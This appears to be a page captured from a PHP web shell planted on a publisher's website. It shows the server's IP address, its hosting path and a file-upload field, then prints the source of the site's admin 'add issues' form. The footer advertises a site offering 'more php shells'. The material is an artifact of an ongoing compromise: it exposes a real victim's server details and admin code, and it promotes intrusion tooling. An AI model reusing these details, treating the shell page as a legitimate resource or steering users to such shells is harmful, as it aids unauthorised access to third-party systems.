Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/amberpublishers.in/public_html/admin/
Dosya Yükle :
Current File : //home/u866425823/domains/amberpublishers.in/public_html/admin/addissues.php

<?php
session_start();
require 'include/PHPHelper.php';
require 'include/db.php';
require_once 'include/functions.php';

// Define the variable for success or failure message
$message = '';
if (!isset($_SESSION['userID'])) {
    header("location: login.php");
} else {
    // Check if the form is submitted
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Get the form data
        $volumeNumber = $_POST['volume_number'];
        $issueNumber = $_POST['issue_number'];
        $publicationDate = $_POST['publication_date'];

        // Add the issue to the database
        $issueadd =addIssue($conn, $volumeNumber, $issueNumber, $publicationDate);
        if ($issueadd ) {
            $message = 'Issue added successfully!';
            echo '<script>alert("Issue added successfully!");</script>';
        } else {
            $message = 'Error adding the issue.';
        }
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<?php
$title = "Add Issues || IJMST";
include 'include/head.php';
?>

<body>
    <!-- ======= Header ======= -->
    <?php
    include 'include/header.php';
    ?>
    <!-- End Header -->

    <!-- ======= Sidebar ======= -->
    <?php
    include 'include/sidebar.php';
    ?>
    <!-- End Sidebar-->

    <main id="main" class="main">
        <div class="pagetitle">
            <h1>Add New Issues</h1>
            <nav>
                <ol class="breadcrumb">
                    <li class="breadcrumb-item"><a href="index.php">Dashboard</a></li>
                    <li class="breadcrumb-item active">Add Issues</li>
                </ol>
            </nav>
        </div><!-- End Page Title -->

         <!-- Warning Note -->
         <div class="alert alert-warning">
    <strong>Note:</strong>  If you set a publication date that is newer than the existing latest issue, the new issue will be considered the current issue. Otherwise, it will be categorized as a past issue.
</div>

        <section class="section">
            <div class="row">
                <div class="col-lg-12">
                    <div class="card">
                        <div class="card-body">
                            <div class="card-title">
                                <h5>Add Issues</h5>
                                <?php if ($message !== ''): ?>
                                    <p><?php echo $message; ?></p>
                                <?php endif; ?>
                                <!-- Add Issues Form -->
                                <div class="form">
                                    <form method="POST" action="addissues.php">
                                        <div class="row mb-3">
                                            <label for="volume_number" class="col-md-4 col-lg-3 col-form-label">Volume Number:</label>
                                            <div class="col-md-8 col-lg-9">
                                                <input name="volume_number" type="text" class="form-control" id="volume_number" placeholder="Enter volume_number of issue">
                                            </div>
                                        </div>
                                        <div class="row mb-3">
                                            <label for="issue_number" class="col-md-4 col-lg-3 col-form-label">Issue Number:</label>
                                            <div class="col-md-8 col-lg-9">
                                                <input name="issue_number" type="text" class="form-control" id="issue_number" placeholder="Enter issue_number of issue">
                                            </div>
                                        </div>
                                        <div class="row mb-3">
                                            <label for="publication_date" class="col-md-4 col-lg-3 col-form-label">Publication Date:</label>
                                            <div class="col-md-8 col-lg-9">
                                                <input name="publication_date" type="date" class="form-control" id="publication_date" placeholder="Enter publication_date">
                                            </div>
                                        </div>
                                        <div class="row mt-3">
    <div class="text-center">
        <input type="submit" name="submit" id="submit" class="btn btn-primary col-lg-12" value="Add Issue">
    </div>
</div>
</form>
</div>
<!-- End Add Issues Form -->
</div>
</div>
</div>
</div>
</section>
<!-- End Section -->

</main><!-- End #main -->

<!-- ======= Footer ======= -->
<?php include 'include/footer.php'; ?>
<!-- End Footer -->

<!-- ======= Scripts ======= -->
<?php include 'include/scripts.php'; ?>
<!-- End Scripts -->

</body>

</html>


coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.